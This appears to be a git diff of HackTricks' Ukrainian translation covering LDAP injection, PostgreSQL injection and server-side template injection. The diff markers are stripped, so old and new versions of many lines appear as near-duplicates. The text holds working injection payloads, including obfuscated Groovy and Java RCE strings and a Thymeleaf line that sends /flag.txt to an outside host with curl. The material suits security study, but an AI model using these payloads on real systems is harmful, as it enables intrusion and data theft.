* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
* [LDAP Атрибути](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [Атрибути LDAP PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
* [LDAP Атрибути PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
### Сліпа LDAP Ін'єкція
Ви можете примусити отримати False або True відповіді, щоб перевірити, чи повертаються які-небудь дані, і підтвердити можливу Сліпу LDAP Ін'єкцію:
Ви можете примусити отримати False або True відповіді, щоб перевірити, чи повертаються які-небудь дані та підтвердити можливу Сліпу LDAP Ін'єкцію:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
@ -240,7 +240,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,41 +1,41 @@
# PostgreSQL injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **кар'єрі в хакерстві** and hack the unhackable - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
***
**Ця сторінка має на меті пояснити різні трюки, які можуть допомогти вам експлуатувати SQL-ін'єкцію, знайдену в базі даних postgresql, і доповнити трюки, які ви можете знайти на** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
**Ця сторінка має на меті пояснити різні трюки, які можуть допомогти вам експлуатувати SQL-ін'єкцію, виявлену в базі даних postgresql, та доповнити трюки, які ви можете знайти на** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
## Network Interaction - Привілейоване підвищення, сканер портів, розкриття відповіді на виклик NTLM та ексфільтрація
## Взаємодія з мережею - ескалація привілеїв, сканер портів, розкриття NTLM challenge response та ексфільтрація
**Модуль PostgreSQL `dblink`** пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-з'єднань. Ці функції, в поєднанні з функціональністю `COPY FROM`, дозволяють виконувати дії, такі як підвищення привілеїв, сканування портів та захоплення відповіді на виклик NTLM. Для детальних методів виконання цих атак перевірте, як [виконати ці атаки](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
**Модуль PostgreSQL `dblink`** пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-з'єднань. Ці функції, в поєднанні з функціональністю `COPY FROM`, дозволяють виконувати дії, такі як ескалація привілеїв, сканування портів та захоплення NTLM challenge response. Для детальних методів виконання цих атак перевірте, як [виконати ці атаки](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
### **Приклад ексфільтрації за допомогою dblink та великих об'єктів**
### **Приклад ексфільтрації з використанням dblink та великих об'єктів**
Ви можете [**прочитати цей приклад**](dblink-lo\_import-data-exfiltration.md), щоб побачити приклад CTF **як завантажити дані всередині великих об'єктів, а потім ексфільтрувати вміст великих об'єктів всередині імені користувача** функції `dblink_connect`.
Ви можете [**прочитати цей приклад**](dblink-lo\_import-data-exfiltration.md), щоб побачити приклад CTF **як завантажити дані всередину великих об'єктів, а потім ексфільтрувати вміст великих об'єктів всередині імені користувача** функції `dblink_connect`.
## Атаки PostgreSQL: Читання/запис, RCE, підвищення привілеїв
## Атаки на PostgreSQL: читання/запис, RCE, ескалація привілеїв
Перевірте, як скомпрометувати хост і підвищити привілеї з PostgreSQL у:
Перевірте, як скомпрометувати хост та ескалувати привілеї з PostgreSQL у:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
@ -50,7 +50,7 @@ If you are interested in **кар'єрі в хакерстві** and hack the un
### Складені запити
Пам'ятайте, що postgresql підтримує складені запити, але кілька додатків видадуть помилку, якщо буде повернено 2 відповіді, коли очікується лише 1. Але ви все ще можете зловживати складеними запитами через Time injection:
Пам'ятайте, що PostgreSQL підтримує складені запити, але кілька додатків видадуть помилку, якщо буде повернуто 2 відповіді, коли очікується лише 1. Але ви все ще можете зловживати складеними запитами через Time injection:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@ -59,19 +59,19 @@ id=1; select pg_sleep(10);-- -
**query\_to\_xml**
Ця функція поверне всі дані у форматі XML в одному файлі. Це ідеально, якщо ви хочете вивантажити багато даних в одному рядку:
Ця функція поверне всі дані у форматі XML в одному файлі. Це ідеально, якщо ви хочете вивантажити багато даних в один рядок:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database\_to\_xml**
Ця функція вивантажить всю базу даних у форматі XML всього в 1 рядку (обережно, якщо база даних дуже велика, оскільки ви можете викликати DoS або навіть вашого власного клієнта):
Ця функція вивантажить всю базу даних у форматі XML в лише 1 рядок (обережно, якщо база даних дуже велика, оскільки ви можете викликати DoS або навіть вашого власного клієнта):
```sql
SELECT database_to_xml(true,true,'');
```
### Strings in Hex
Якщо ви можете виконувати **запити**, передаючи їх **всередині рядка** (наприклад, використовуючи функцію **`query_to_xml`**). **Ви можете використовувати convert\_from, щоб передати рядок у вигляді шістнадцяткового коду і обійти фільтри таким чином:**
Якщо ви можете виконувати **запити**, передаючи їх **всередині рядка** (наприклад, використовуючи функцію **`query_to_xml`**). **Ви можете використовувати convert\_from, щоб передати рядок у вигляді шістнадцяткового коду і таким чином обійти фільтри:**
{% code overflow="wrap" %}
```sql
@ -97,7 +97,7 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
@ -109,11 +109,11 @@ SELECT $TAG$hacktricks$TAG$;
<details>
<summary>Підтримати HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,57 +1,65 @@
# SSTI (Server Side Template Injection)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpeg)Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) є найважливішою подією в сфері кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З **метою популяризації технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
[**RootedCON**](https://www.rootedcon.com) є найважливішою подією в сфері кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З **метою просування технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
{% embed url="https://www.rootedcon.com/" %}
## What is SSTI (Server-Side Template Injection)
## Що таке SSTI (Server-Side Template Injection)
Server-side template injection — це вразливість, яка виникає, коли зловмисник може впровадити шкідливий код у шаблон, що виконується на сервері. Цю вразливість можна знайти в різних технологіях, включаючи Jinja.
Вплив шаблона на стороні сервера - це вразливість, яка виникає, коли зловмисник може впровадити шкідливий код у шаблон, що виконується на сервері. Цю вразливість можна знайти в різних технологіях, включаючи Jinja.
Jinja це популярний движок шаблонів, що використовується в веб-додатках. Розглянемо приклад, який демонструє вразливий фрагмент коду, що використовує Jinja:
Jinja - це популярний движок шаблонів, що використовується в веб-додатках. Розглянемо приклад, який демонструє вразливий фрагмент коду, що використовує Jinja:
```python
output = template.render(name=request.args.get('name'))
```
В цьому вразливому коді параметр `name` з запиту користувача безпосередньо передається в шаблон за допомогою функції `render`. Це може потенційно дозволити зловмиснику впровадити шкідливий код у параметр `name`, що призведе до ін'єкції шаблона на стороні сервера.
У цьому вразливому коді параметр `name` з запиту користувача безпосередньо передається в шаблон за допомогою функції `render`. Це може потенційно дозволити зловмиснику впровадити шкідливий код у параметр `name`, що призведе до ін'єкції шаблона на стороні сервера.
Наприклад, зловмисник може створити запит з корисним навантаженням, як це:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Пейлоад `{{bad-stuff-here}}` впроваджується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером.
Пейлоад `{{bad-stuff-here}}` інжектується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером.
Щоб запобігти вразливостям інкції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарію та валідацію введених користувачем даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
Щоб запобігти вразливостям інжекції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарну обробку та валідацію введених даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
### Виявлення
Щоб виявити ін'єкцію шаблонів на стороні сервера (SSTI), спочатку **фуззинг шаблону** є простим підходом. Це передбачає впровадження послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають:
Для виявлення інжекції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає інжекцію послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналіз різниці у відповіді сервера на звичайні дані та цей спеціальний пейлоад. Ознаки вразливості включають:
* Викинуті помилки, що виявляють вразливість і потенційно движок шаблонів.
* Викинуті помилки, які виявляють вразливість і потенційно движок шаблонів.
* Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані.
* **Текстовий контекст**: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, `{{7*7}}`, `${7*7}`).
* **Контекст коду**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` в `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача.
* **Контекст коду**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача.
#### Фаза ідентифікації
Ідентифікація движка шаблонів передбачає аналіз повідомлень про помилки або ручне тестування різних специфічних для мови пейлоадів. Загальні пейлоади, що викликають помилки, включають `${7/0}`, `{{7/0}}` та `<%= 7/0 %>`. Спостереження за відповіддю сервера на математичні операції допомагає визначити конкретний движок шаблонів.
#### Ідентифікація за пейлоадами
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
* Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
## Інструменти
### [TInjA](https://github.com/Hackmanit/TInjA)
@ -196,7 +204,7 @@ Thymeleaf також пропонує _попередню обробку вир
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
Це вказує на те, що якщо движок шаблонів неправильно обробляє ці введення, це може призвести до віддаленого виконання коду з доступом до URL-адрес, таких як:
Це вказує на те, що якщо движок шаблонів неправильно обробляє ці введення, це може призвести до віддаленого виконання коду, що отримує доступ до URL-адрес, таких як:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@ -254,7 +262,7 @@ print(base_payload + end_payload)
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Маніпуляція з виглядом Spring (Java)
### Маніпуляція виглядом Spring (Java)
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
@ -327,7 +335,7 @@ Jinjava - це проект з відкритим кодом, розроблен
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass()}}` - клас com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдіть [проект Jinjava на Github](https://github.com/HubSpot/jinjava/).
@ -383,11 +391,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані боби) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як-от веб-сторінки) та логікою програми (як-от керовані боби) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
* **JavaServer Faces (JSF)**: Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері.
* **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними на сторінках JSP, що полегшує зв'язок елементів сторінки з даними програми.
* **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бобами, що забезпечує більш узгоджену структуру програми.
* **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперешкодної взаємодії між веб-шаром та керованими бобами, що забезпечує більш узгоджену структуру програми.
Перегляньте наступну сторінку, щоб дізнатися більше про **експлуатацію EL інтерпретаторів**:
@ -397,7 +405,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
### Groovy (Java)
Наступні обходи Менеджера безпеки були взяті з цього [**опису**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
Наступні обходи Security Manager були взяті з цього [**опису**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
```java
//Basic Payload
import groovy.*;
@ -422,9 +430,15 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
### Інше Java
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
* Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) є найактуальнішою подією в сфері кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З **метою популяризації технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
[**RootedCON**](https://www.rootedcon.com/) є найактуальнішою подією в сфері кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З **місією просування технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в кожній дисципліні.
{% embed url="https://www.rootedcon.com/" %}
@ -586,6 +600,12 @@ echo $t->finish($t->parse('OUT', 'authors'));
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
### Інше PHP
<figure><img src="../../.gitbook/assets/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
* Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Jade (NodeJS)
```javascript
- var x = root.process
@ -599,12 +619,12 @@ echo $t->finish($t->parse('OUT', 'authors'));
```
**Більше інформації**
* У розділі Jade [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* У розділі Jade на [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) - це PHP шаблонізатор, що не компілюється, який використовує XML теги для поділу документа на різні частини
> [patTemplate](https://github.com/wernerwa/pat-template) - це PHP шаблонізатор, що не компілюється, який використовує XML теги для поділу документа на різні частини.
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -668,7 +688,7 @@ URLencoded:
* \= 49
**Клієнтська сторона**
**Сторона клієнта**
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
@ -709,12 +729,20 @@ home = pugjs.render(injected_page)
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
### Інші NodeJS
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
* Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Помилка`
* `<%= foobar %> = Error`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
@ -740,9 +768,17 @@ home = pugjs.render(injected_page)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Інші Ruby
<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
* Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Python
Перегляньте наступну сторінку, щоб дізнатися трюки про **обхід виконання довільних команд, минаючи пісочниці** в python:
Перегляньте наступну сторінку, щоб дізнатися трюки про **виконання довільних команд, обминаючи пісочниці** в python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -778,7 +814,7 @@ home = pugjs.render(injected_page)
[Офіційний сайт](http://jinja.pocoo.org)
> Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується та ліцензований за BSD.
